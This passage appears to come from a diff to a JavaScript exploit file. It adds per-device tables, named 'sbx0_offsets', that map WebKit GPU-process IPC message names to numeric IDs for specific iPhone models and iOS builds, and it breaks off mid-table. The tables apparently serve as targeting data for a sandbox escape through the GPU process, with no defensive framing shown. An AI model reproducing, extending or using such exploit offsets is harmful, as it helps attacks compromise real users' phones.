RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone16,1_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone16,2_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone17,1_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone17,2_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone17,3_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone17,4_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone17,5_22E252": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + } +}; + + Object.assign(sbx0_offsets, { + "iPhone11,2_4_6_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, +"iPhone11,6_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, + +"iPhone11,4_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, + + "iPhone11,8_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, + "iPhone12,1_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, + "iPhone12,3_5_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + 